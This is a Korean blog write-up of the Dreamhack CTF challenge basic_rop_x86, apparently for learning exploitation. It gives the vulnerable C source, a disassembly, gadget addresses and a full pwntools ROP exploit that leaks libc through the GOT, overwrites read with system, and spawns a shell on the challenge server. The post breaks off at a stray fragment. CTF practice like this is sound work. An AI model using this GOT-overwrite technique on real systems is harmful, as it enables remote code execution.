Hacking/Dremahack 문제풀이

[ Dreamhack ] basic_rop_x86

미역줄기줄기 2024. 2. 16. 20:46
728x90

문제설명


코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

char형 버퍼에 0x40 만큼 할당했다. 

read를 보면 버퍼에 0x400만큼 입력할 수 있다는 것을 알 수 있다. 이 과정에서 오버플로우가 일어날 것이다.

 

 

intel의 32비트 x86아키텍처

카나리 없음 == sfp, ret 덮어도 강제종료 안 한다.

NX 적용되어있다 == ROP기법 사용

PIE가 없다 == 바이너리가 실행되는 주소를 랜덤화 하지 않는다

 

 

 

 


Exploit

x86아키텍처에서는 함수의 인자를 stack에 푸쉬하여 사용한다

 

1. write() 함수를 이용해 read() 함수의 got값을 출력한다.

2. read() 함수의 got를 system()함수의 실제 주소로 오버라이트한다.

3.read() 함수를 재호출하여 실제로는 system() 함수를 호출하게 한다.

 

 

 

 

main을 디스어셈블 해보자

pwndbg> disassemble main
Dump of assembler code for function main:
   0x080485d9 <+0>:    push   ebp
   0x080485da <+1>:    mov	ebp,esp
   0x080485dc <+3>:    push   edi
=> 0x080485dd <+4>:    sub	esp,0x40
   0x080485e0 <+7>:    lea	edx,[ebp-0x44]
   0x080485e3 <+10>:    mov	eax,0x0
   0x080485e8 <+15>:    mov	ecx,0x10
   0x080485ed <+20>:    mov	edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea	eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add	esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea	eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add	esp,0xc
   0x08048619 <+64>:    mov	eax,0x0
   0x0804861e <+69>:    mov	edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave  
   0x08048622 <+73>:    ret    
End of assembler dump.

 

buf의 위치는 0x44이다. 

 

 

 

레지스터 값을 설정하기 위한 가젯의 주소들을 확인한다.

pop = 0x804868b
pop_edi_ebp = 0x804868a
pop_esi_edi_ebp = 0x8048689

이정도면 될 것 같다.

 

 

from pwn import *

context.arch = 'i386'
p = remote("host3.dreamhack.games",16021)
e = ELF("./basic_rop_x86")
l = ELF("./libc.so.6")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop = 0x804868b
pop_edi_ebp = 0x804868a
pop_esi_edi_ebp = 0x8048689

buf = b'A'*64
payload = b'A'*68 + b'B'*4

# (1) write(1, read_got, 4) == get addr of read()
payload += p32(write_plt) + p32(pop_esi_edi_ebp) + p32(1) + p32(read_got) + p32(4)

# (2) read(0, read_got, 12) == GOT Overwrite & overwrite [read_got+0x4]
payload += p32(read_plt) + p32(pop_esi_edi_ebp) + p32(0) + p32(read_got) + p32(12)

# (3) read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt) + p32(pop) + p32(read_got+0x4)

p.send(payload)
p.recvuntil(buf)
read = u32(p.recvn(4))
libc_base = read - l.symbols['read']
system = libc_base + l.symbols['system']

print('read:', hex(read))
print('libc_base:', hex(libc_base))
print('system:', hex(system))

# (2) GOT Overwrite(read()->system()) + send "/bin/sh" to [read_got+0x4]
p.send(p32(system) + b'/bin/sh\x00')

p.interactive()

 

 

코드를 조금 쪼개서 보면

# (1) write(1, read_got, 4) == get addr of read()
payload += p32(write_plt) + p32(pop_esi_edi_ebp) + p32(1) + p32(read_got) + p32(4)

# (2) read(0, read_got, 12) == GOT Overwrite & overwrite [read_got+0x4]
payload += p32(read_plt) + p32(pop_esi_edi_ebp) + p32(0) + p32(read_got) + p32(12)

# (3) read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt) + p32(pop) + p32(read_got+0x4)

write 함수를 사용해서 read 함수의 주소를 출력하고

read 함수를 사용해서 read 함수의 GOT 엔트리를 덮어쓰고

read함수를 사용하여 메모리에 "/bin/sh" 문자열을 읽어온다.

 

 

 

스택 모양

ㅋㅗ